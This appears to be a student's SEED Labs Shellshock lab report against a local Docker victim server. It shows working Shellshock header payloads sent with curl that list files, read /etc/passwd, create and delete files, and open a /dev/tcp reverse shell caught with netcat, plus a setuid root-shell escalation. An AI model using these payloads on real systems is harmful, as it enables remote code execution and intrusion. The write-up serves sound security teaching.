

SHELL SHOCK

1. CONTAINER SETUP AND COMMANDS

Setup:

1. Dowload docker (docker-compose build)
2. Make the docker up (docker-compose up)

```
[10/08/23]seed@VM:~/.../shellshock$ docker-compose build
Building victim
Step 1/6 : FROM handsonsecurity/seed-server:apache-php
apache-php: Pulling from handsonsecurity/seed-server
da7391352a9b: Pulling fs layer
14428a6d4bcd: Pulling fs layer
14428a6d4bcd: Downloading [=====]
da7391352a9b: Downloading [>]
da7391352a9b: Pull complete
14428a6d4bcd: Pull complete
2c2d948710f2: Pull complete
d801bb9d0b6c: Pull complete
Digest: sha256:fb3b6a03575af14b6a59ada1d7a272a61bc0f2d975d0776dba98
eff0948de275
Status: Downloaded newer image for handsonsecurity/seed-server:apac
he-php
---> 2365d0ed3ad9
Step 2/6 : COPY bash_shellshock /bin/
---> 673be681bb74
Step 3/6 : COPY vul.cgi getenv.cgi /usr/lib/cgi-bin/
---> 183afa27c21e
Step 4/6 : COPY server_name.conf /etc/apache2/sites-available
---> 4d84f947014c
Step 5/6 : RUN chmod 755 /bin/bash_shellshock      && chmod 755 /u
sr/lib/cgi-bin/*.cgi      && a2ensite server_name.conf
---> Running in 91d94bbca874
Enabling site server_name.
To activate the new configuration, you need to run:
    service apache2 reload
Removing intermediate container 91d94bbca874
---> e93bd79dela6
```

All the containers will be running in the background. To run commands on a container, we need a shell on that container.

Docker ps (dockps): Gives ID of the container.

Docker exec: to start a shell on that container. (docksh)

```
---> Running in 91d94bbca874
Enabling site server_name.
To activate the new configuration, you need to run:
    service apache2 reload
Removing intermediate container 91d94bbca874
---> e93bd79dela6
Step 6/6 : CMD service apache2 start && tail -f /dev/null
---> Running in f3c63f04f4dd
Removing intermediate container f3c63f04f4dd
---> f276345da43f

Successfully built f276345da43f
Successfully tagged seed-image-www-shellshock:latest
[10/08/23]seed@VM:~/.../shellshock$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating victim-10.9.0.80 ... done
Attaching to victim-10.9.0.80
victim-10.9.0.80 | * Starting Apache httpd web server apache2

*
```

```
[10/08/23]seed@VM:~/.../shellshock$ dockps
4392364405f5  victim-10.9.0.80
[10/08/23]seed@VM:~/.../shellshock$ docksh 4392364405f5
root@4392364405f5:/# █
```

WEB SERVER AND CGI

```
[10/08/23]seed@VM:~/.../shellshock$ dockps
4392364405f5  victim-10.9.0.80
[10/08/23]seed@VM:~/.../shellshock$ docksh 4392364405f5
root@4392364405f5:/# ls /usr/lib/cgi-bin/
getenv.cgi  vul.cgi
root@4392364405f5:/# cat /usr/lib/cgi-bin/vul.cgi
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
root@4392364405f5:/# █
```

TASK 1: Experimenting with Bash function

```
[10/08/23]seed@VM:~/.../shellshock$ ls
docker-compose.yml  image_www
[10/08/23]seed@VM:~/.../shellshock$ ls
docker-compose.yml  image_www
[10/08/23]seed@VM:~/.../shellshock$ ls -l /bin/sh
lrwxrwxrwx 1 root root 3 Sep  3 12:52 /bin/sh -> zsh
[10/08/23]seed@VM:~/.../shellshock$ sudo cp bash_shellshock /bin/
[10/08/23]seed@VM:~/.../shellshock$ ls /bin/bash_shellshock
/bin/bash_shellshock
[10/08/23]seed@VM:~/.../shellshock$ sudo ln -sf /bin/bash_shellshock
k
[10/08/23]seed@VM:~/.../shellshock$ ls -l /bin/sh
lrwxrwxrwx 1 root root 3 Sep  3 12:52 /bin/sh -> zsh
[10/08/23]seed@VM:~/.../shellshock$ sudo ln -sf /bin/bash_shellshock
k /bin/sh
[10/08/23]seed@VM:~/.../shellshock$ ls -l /bin/sh
lrwxrwxrwx 1 root root 20 Oct  8 11:58 /bin/sh -> /bin/bash_shellshock
[10/08/23]seed@VM:~/.../shellshock$ █
```

Making bash shellshock as default shell

Source Code:

```
1 #include<stdio.h>
2 #include<sys/types.h>
3 #include<unistd.h>
4 #include<stdlib.h>
5 int main(int argc, char*argv[], char*envp[])
6 {
7     setuid(getuid());
8     system("/bin/ls -l");
9     return 0;
10 }
11 |
```

```
[10/08/23]seed@VM:~/.../shellshock$ gedit sys.c
[10/08/23]seed@VM:~/.../shellshock$ gcc sys.c -o sys1
[10/08/23]seed@VM:~/.../shellshock$ ./sys1
total 32
lrwxrwxrwx 1 root root    20 Oct  8 11:57 bash_shellshock -> /bin/b
ash_shellshock
-rw-rw-r-- 1 seed seed   395 Dec  5 2020 docker-compose.yml
drwxrwxr-x 2 seed seed  4096 Feb 26 2021 image_www
-rwxrwxr-x 1 seed seed 16784 Oct  8 12:05 sys1
-rw-rw-r-- 1 seed seed   176 Oct  8 12:04 sys.c
[10/08/23]seed@VM:~/.../shellshock$ sudo chown root sys1
[10/08/23]seed@VM:~/.../shellshock$ sudo chmod 4755 sys1
[10/08/23]seed@VM:~/.../shellshock$ ls -l sys1
-rwsr-xr-x 1 root seed 16784 Oct  8 12:05 sys1
[10/08/23]seed@VM:~/.../shellshock$
```

```
[10/08/23]seed@VM:~/.../shellshock$ export foo="() { echo 'normal '
;} ;/bin/sh"
[10/08/23]seed@VM:~/.../shellshock$ ./vul
sh-4.2# whoami
root
sh-4.2# sudo ln -sf /bin/bash /bin/sh
sh-4.2# exit
exit
[10/08/23]seed@VM:~/.../shellshock$ sudo ln -sf /bin/bash /bin/sh
[10/08/23]seed@VM:~/.../shellshock$ ls -l /bin/sh
lrwxrwxrwx 1 root root 9 Oct  8 12:53 /bin/sh -> /bin/bash
[10/08/23]seed@VM:~/.../shellshock$ echo $foo
() { echo 'normal ';} ;/bin/sh
[10/08/23]seed@VM:~/.../shellshock$ ./vul
total 4884
-rwxrwxr-x 1 seed seed 4919752 Oct  8 12:38 bash_shellshock
-rw-rw-r-- 1 seed seed   395 Dec  5 2020 docker-compose.yml
drwxrwxr-x 2 seed seed  4096 Feb 26 2021 image_www
-rwsrwxr-x 1 root seed  16784 Oct  8 12:27 sys
-rwsr-xr-x 1 root seed  16784 Oct  8 12:05 sys1
-rw-rw-r-- 1 seed seed   181 Oct  8 12:27 sys.c
-rwsrwxr-x 1 root seed  16784 Oct  8 12:35 vul
-rw-rw-r-- 1 seed seed   179 Oct  8 12:35 vul.c
[10/08/23]seed@VM:~/.../shellshock$
```

Task 2 : Passing Data to bash via environmental variable

```
[10/08/23]seed@VM:~/.../shellshock$ dockps
4392364405f5  victim-10.9.0.80
[10/08/23]seed@VM:~/.../shellshock$ docksh 4392364405f5
root@4392364405f5:/# ls /usr/lib/cgi-bin/
getenv.cgi  vul.cgi
root@4392364405f5:/# cat /usr/lib/cgi-bin/getenv.cgi
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "***** Environment Variables *****"
strings /proc/$$/environ

root@4392364405f5:/#
```

USING BROWSER

```
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_CONNECTION=keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=56796
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
```

It shows server environmental variables

Using CURL

```
[10/08/23]seed@VM:~/.../shellshock$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 08 Oct 2023 17:05:51 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
```

Curl: curl is a command-line tool and library in Linux and Unix-like operating systems used to transfer data to or from a server using various network protocols.

Header: -v make the operation more readable


```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: my data
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 08 Oct 2023 17:08:57 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=my data
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
```

It specifying the User-Agent header with the -A or --user-agent option and providing a custom value.

```
[10/08/23]seed@VM:~/.../Labsetup$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Referer: my data
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 08 Oct 2023 11:53:43 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=*/*
HTTP_REFERER=my data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
```

-e "my data" specifies the referrer header with the value "my data." -v enables verbose output, which will display detailed information about the HTTP request and response.

```
[10/08/23]seed@VM:~/.../shellshock$ curl -H "AAAAAA:BBBBBB" -v www
.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> AAAAAA:BBBBBB
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 08 Oct 2023 17:13:53 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=/*/*
HTTP_AAAAAA=BBBBBB
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seed
lab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
```

-H "AAAAAA:BBBBBB" sets the custom header "AAAAAA" with the value "BBBBBB." This command will make an HTTP GET request to the specified URL with the custom "AAAAAA" header containing the value "BBBBBB."

Task 3: Launching the Shellshock Attack

Attacker

```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
total 8
-rwxr-xr-x 1 root root 130 Dec  5 2020 getenv.cgi
-rwxr-xr-x 1 root root  85 Dec  5 2020 vul.cgi
[10/08/23]seed@VM:~/.../shellshock$ █
```

Server

```
root@4392364405f5:/# ls -l /usr/lib/cgi-bin
total 8
-rwxr-xr-x 1 root root 130 Dec  5 2020 getenv.cgi
-rwxr-xr-x 1 root root  85 Dec  5 2020 vul.cgi
root@4392364405f5:/# █
```

Task 3.A: Get the server to send back the content of the /etc/passwd file.

```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
apt:x:100:65534:/nonexistent:/usr/sbin/nologin
```

root

```
root@4392364405f5:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
root@4392364405f5:/# █
```

Task 3.B: Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information

```
[10/08/23]seed@VM:~/.../shellshock$ curl -e "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[10/08/23]seed@VM:~/.../shellshock$
```

Task 3.C: Get the server to create a file inside the /tmp folder. You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder

```
[10/08/23]seed@VM:~/.../shellshock$ curl -e "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/touch /tmp/virus" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

```
root@4392364405f5:/# cd /tmp
root@4392364405f5:/tmp# ls
virus
```

Task 3.D: Get the server to delete the file that you just created inside the /tmp folder

```
[10/08/23]seed@VM:~/.../shellshock$ curl -e "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/rm /tmp/virus" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

```
root@4392364405f5:/# cd /tmp
root@4392364405f5:/tmp# ls
virus
root@4392364405f5:/tmp# ls
root@4392364405f5:/tmp# █
```

• **Question 1: Will you be able to steal the content of the shadow file /etc/shadow from the server? Why or why not? The information obtained in Task 3.B should give you a clue.**

```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "()" { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i> /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
```

Since the web server is running with the user www-data but the /etc/shadow can only be read by the ROOT user, we will not be able to view the content of the /etc/shadow file

Task 4: Getting a Reverse Shell via Shellshock Attack

```
[10/08/23]seed@VM:~/.../shellshock$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_code
l state UP group default qlen 1000
    link/ether 08:00:27:15:59:43 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixr
oute enp0s3
        valid_lft 85032sec preferred_lft 85032sec
    inet6 fe80::419b:e74e:c333:7372/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqu
eue state DOWN group default
    link/ether 02:42:4b:e8:78:d2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
4: br-60aaf5c4c78: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdis
c noqueue state UP group default
```

```
root@4392364405f5:/tmp# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noque
ue state UP group default
    link/ether 02:42:0a:09:00:50 brd ff:ff:ff:ff:ff:ff link-netnsid
    0
    inet 10.9.0.80/24 brd 10.9.0.255 scope global eth0
        valid_lft forever preferred_lft forever
root@4392364405f5:/tmp#
```

```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "()" { echo hello; }; ec
ho Content_type: text/plain; echo; echo; /bin/bash -i> /dev/tcp/10.
0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
```

Here executing reverse shell payload on the victim system that sends back a reverse connection to the attackers machine `curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/bash -i >& /dev/tcp/10.0.2.8/9090 0<&1 "` <http://www.seedlab-shellshock.com/cgi-bin/vul.cgi> or <http://10.9.0.80/cgi-bin/vul.cgi> this command gives reverse connection to the attackers machine and the attacker is listening for the connection using netcat when the code is executed successfully we get reverse shell.



```
seed@VM: ~/.../shellshock
[10/08/23] seed@VM: ~/.../shellshock$ nc -l 9090
bash: cannot set terminal process group (31): Inappropriate ioctl f
or device
bash: no job control in this shell
www-data@4392364405f5:/usr/lib/cgi-bin$ ls
ls
getenv.cgi
vul.cgi
www-data@4392364405f5:/usr/lib/cgi-bin$
```

Nc-l : Netcat used to listen the port:

Task 5: Using the Patched Bash



```
GNU nano 4.8 vul.cgi Modified
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

```
[10/08/23]seed@VM:~/.../shellshock$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i> /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
```

Hello World

```
[10/08/23]seed@VM:~/.../shellshock$ curl -e "() { echo hello; }; echo Content_type: text/plain; echo; /bin/rm /tmp/virus" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

Hello World

```
[10/08/23]seed@VM:~/.../shellshock$ █
```
